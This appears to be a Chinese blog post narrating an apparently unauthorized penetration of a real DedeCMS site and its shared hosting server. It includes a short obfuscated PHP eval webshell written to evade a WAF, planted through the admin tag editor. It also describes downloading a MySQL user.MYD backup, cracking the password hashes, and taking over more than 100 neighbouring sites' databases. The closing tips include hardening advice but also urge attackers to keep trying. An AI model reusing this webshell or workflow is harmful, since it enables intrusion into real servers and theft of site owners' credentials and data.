1. 程式人生 > >一次特別的DedeCMS站點滲透

一次特別的DedeCMS站點滲透

 一系列故事的開端:

這是搜到的一個Dede站點的後臺

路徑為/dede

 獲得到該站點的使用者名稱以及密碼後(這裡不具體說明),輸入使用者名稱和密碼之後就進入了後臺,並且下意識的打開了檔案管理器

不過管理員也不是等閒之輩,早已解除安裝該模組

於是,我找到了另一處可以生成PHP檔案的地方

在”標籤原始碼管理“這裡可以建立PHP指令碼檔案

去掉預設的程式碼,寫入eval程式碼,點選儲存,檔案會存放在 /include/taglib 目錄下

注:由於伺服器有WAF,PHP指令碼進行了簡單的混淆

<?php
$a='b';
$b=$_POST['x'];
eval($$a);
?>

於是菜刀連線之:

剛開始看到其他站點目錄無許可權時,並沒有想到能夠進行旁註

由於管理員許可權設定不當,mysql資料庫的一個備份副本有許可權讀取,於是下載了user.MYD

用記事本開啟,發現除了root的密碼cmd5解不出來,剩下的資料庫使用者的密碼都能在cmd5上獲取到原文(這裡要鼓勵一下站長大大,沒有為root使用者設定過弱的密碼,不然這個伺服器就能被提權了)

對於提權呢,在這裡說一句,由於該伺服器的IIS使用者為低許可權使用者,並且系統補丁修補的也很完全,PHP配置上也進行了降權處理,因此暫時無法威脅到伺服器的安全。

然而,旁站所有資料庫賬號(100多個)的洩露則可以輕易的拿下旁站,在這裡就不詳細說明了,大致思路基本上就是用webshell連線mysql資料庫,尋找類似config、admin、manager、siteconfig這樣的表,獲取到站點的域名、標題等等的資訊以便找到該站點,並且獲取後臺管理員的賬號以及密碼,從而登入後臺,最後拿到webshell。

同理,在另一個目錄中,我也找到了MSSQL2005的資料庫備份檔案,這裡就不進行詳細的說明了

案例分析:

這個伺服器的管理員的做法並不是完全要被否定的,雖然那個DedeCMS被輕易的拿下了,但是在伺服器安全方面也進行了一定程度上的強化。剛拿到webshell的時候,發現對於其他站點沒有讀寫許可權,可能很多人到這一步就會放棄嘗試旁註,但是如果仔細分析伺服器環境,可能能得到意外驚喜。旁註得以實現的原因,在於Windows Server 2008 R2伺服器的磁碟分割槽在被格式化後,磁碟分割槽的根目錄預設有一個Users的讀取、寫入以及修改的許可權,通過檔案許可權的繼承,E盤分割槽下的所有檔案對於Users都具有了讀取許可權,對於大多數人來說,自然會認為資料盤分割槽的許可權並不會影響到站點的安全,可能並不會去重視此處的許可權。然而,資料盤中備份的資料卻將所有站點的Mysql資料庫密碼出賣給了別人。

小結:

  1. 對於使用DedeCMS的站長們來說,建議修改DedeCMS後臺的路徑,限制站點的可執行許可權以及可寫入許可權。
  2. 滲透DedeCMS站點時,發現管理員對站點做一定限制時不要灰心,因為DedeCMS可寫入webshell的地方還是很多的,只要耐心,往往都能拿到webshell
  3. 在做伺服器安全強化時,不要忽視資料盤許可權帶來的隱患,從小處來說,可能會洩露伺服器使用的軟體、執行環境,從大危害的方面來說,可能造成資料庫密碼洩露、FTP密碼洩露、旁註等問題,嚴重的話,還有可能伺服器被提權(在這個案例中,如果管理員設定的root密碼比較簡單,下載user.MYD時獲取到的密文就可以解密,從而得到root賬號的密碼,進而利用root高許可權賬號提權該伺服器)。

更多內容,關注www.mntm520.com